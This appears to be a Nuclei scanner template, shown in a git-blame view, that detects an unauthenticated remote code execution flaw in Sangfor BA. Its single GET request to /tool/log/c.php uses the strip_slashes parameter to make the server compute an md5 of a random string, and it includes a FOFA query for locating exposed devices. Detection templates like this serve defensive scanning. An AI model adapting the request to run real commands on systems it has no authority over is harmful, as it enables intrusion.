2022-05-11 18:47:57 +00:00
|
|
|
id: sangfor-ba-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-23 10:57:59 +00:00
|
|
|
name: Sangfor BA - Remote Code Execution
|
2022-05-11 18:47:57 +00:00
|
|
|
author: ritikchaddha
|
|
|
|
severity: critical
|
2022-05-23 10:57:59 +00:00
|
|
|
description: |
|
2022-05-30 16:18:15 +00:00
|
|
|
Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
|
2022-05-23 10:57:59 +00:00
|
|
|
reference:
|
|
|
|
- https://mobile.twitter.com/sec715/status/1406886851072253953
|
2022-05-30 16:18:15 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2022-05-23 10:57:59 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
fofa-query: app="sangfor"
|
2022-05-11 18:47:57 +00:00
|
|
|
tags: rce,sangfor
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-05-23 10:57:59 +00:00
|
|
|
- "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"
|
2022-05-11 18:47:57 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-05-23 10:57:59 +00:00
|
|
|
- type: word
|
2022-05-11 18:47:57 +00:00
|
|
|
part: body
|
2022-05-23 10:57:59 +00:00
|
|
|
words:
|
|
|
|
- '{{md5("{{randstr}}")}}'
|
2022-05-11 18:47:57 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-05-30 16:18:15 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/05/30
|